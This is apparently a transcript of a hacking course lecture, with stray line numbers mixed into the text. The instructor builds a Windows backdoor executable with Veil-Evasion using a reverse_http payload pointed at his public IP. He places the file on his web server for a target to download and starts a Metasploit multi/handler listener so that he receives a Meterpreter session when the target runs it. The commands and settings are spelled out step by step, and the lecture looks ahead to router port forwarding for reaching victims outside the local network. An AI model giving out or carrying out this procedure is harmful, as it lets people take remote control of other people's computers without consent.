Educator: Okay, 2 2
so now let's go ahead. 3 3
Let's create a backdoor, 4 4
and the only difference is we're gonna set the IP 5 5
to the public IP instead of the local IP, 6 6
so we're gonna create a backdoor exactly the same 7 7
way that we used to create it when we're hacking 8 8
devices in the same network. 9 9
So I'm gonna use Veil-Evasion and I'm gonna do 10 10
this a bit quickly because we've done it 11 11
and there's nothing new with this, 12 12
so we can List to see what we have. 13 13
I'm gonna use number 9 so it's the exact same 14 14
payload that we used in our previous video. 15 15
It's the reverse http payload. 16 16
So we're gonna use 9, 17 17
and we can see the options here. 18 18
We can see that the LPORT is set to 8080 by default 19 19
and I'm gonna keep that the same. 20 20
The only thing that I'm gonna change is the LHOST, 21 21
and in the previous videos when we were receiving 22 22
connections on our own computer, 23 23
we used to set it to the local IP, 24 24
so if I do ifconfig wlan0, 25 25
we used to set it to 192.168.0.1 because that's 26 26
the IP that the devices use inside the network. 27 27
Well whenever you want to do things on the outside, 28 28
we wanna use the real IP because these internal IPs 29 29
are not visible to computers outside the network. 30 30
So I'm gonna use the IP that I see on Google, 31 31
so when I type in 'what's my ip', 32 32
I get this IP and I'm gonna use that as the 33 33
LHOST in my backdoor, 34 34
so I'm just gonna copy this 35 35
and I'm gonna set it here. 36 36
And sorry I didn't paste it properly, 37 37
so set. 38 38
Hit 'info' to make sure everything is set up properly, 39 39
so PORT 8080 we're using the public IP, 40 40
so this is the most important step in this, 41 41
and then we're gonna do 'generate'. 42 42
And we're just gonna call this 'backdoordirty.exe'. 43 43
You're gonna hit Enter. 44 44
And that has generated my payload for me, 45 45
so it's stored in here. 46 46
So again, 47 47
as usual I'm actually gonna copy this 48 48
and paste it in my var www html 49 49
and I'll show you how to actually even download 50 50
this from the internet from outside the network. 51 51
So I'm just gonna copy this to my web server directory. 52 52
Okay, 53 53
so that's all done. 54 54
Now all we have to do is just listen for 55 55
incoming connections. 56 56
We're gonna do that using the multi/handler, 57 57
so we've done that before again. 58 58
I'm just gonna do it real quick. 59 59
And when I'm gonna listen to the multi/handler, 60 60
I'm actually gonna listen on my local IP, 61 61
so I'm not gonna listen on the external, 62 62
I'm gonna listen on the local because I can't 63 63
listen on the external. 64 64
I'm actually in the network and I only have 65 65
control over my current computer. 66 66
So what I'm gonna do now is in here, 67 67
in the Kali machine I'm gonna listen on PORT 8080, 68 68
and in the external device the backdoor will 69 69
try to connect to the backdoor, 70 70
so the step after that we'll set up IP forwarding 71 71
to allow to tell the router to forward PORTs 8080 72 72
to the Kali machine, 73 73
but first we need to listen on 74 74
PORT 8080 in the Kali machine, 75 75
and we're gonna do that using the multi/handler. 76 76
So I'm just gonna do msfconsole. 77 77
Again, 78 78
we did this before so I'm gonna do it a little bit quickly. 79 79
So I'm gonna 'use exploit/multi/handler'. 80 80
I'm gonna set the payload to 81 81
windows/meterpreter/reverse_http. 82 82
Then we're gonna set the LPORT to 8080, 83 83
so that's the port that we're gonna get connections on, 84 84
and then I'm gonna set the LHOST, 85 85
the listening host, 86 86
to my private IP as I said before, 87 87
so I'm gonna do 88 88
'set LHOST 89 89
to 192.168.0.11'. 90 90
Now I'm gonna do 'show options' to make sure 91 91
everything is done properly, 92 92
and we can see that we have the LPORT is set to 8080 93 93
and the local host is set to 192.168.0.11 94 94
and we're using a payload of 95 95
windows/meterpreter/reverse_http. 96 96
So it's all good. 97 97
I'm gonna do 'exploit'. 98 98
As you can see here, 99 99
it's listening on my private IP 100 100
and it's listening on PORT 8080. 101 101
So now we did the two main steps: 102 102
we created a backdoor, 103 103
and the backdoor will give us connections back 104 104
based on the real IP address, 105 105
and we're listening on our local machine. 106 106
We're listening on PORT 8080 in the Kali machine. 107 107
So when the target person runs the backdoor 108 108
on the internet they're gonna get, 109 109
the backdoor will try to connect 110 110
to this IP on PORT 8080. 111 111
The only problem now is the Gateway, 112 112
which is the router right here. 113 113
It doesn't have PORT 8080 open, 114 114
so it's gonna receive the connection. 115 115
It's not gonna know what to do with it, 116 116
so we actually need to configure 117 117
the router to tell it whenever you get something, 118 118
whenever you get a connection on PORT 8080, 119 119
I want you to redirect it to my Kali machine. 120 120
And we can do that in two ways, 121 121
and we're gonna talk about them in the next lecture.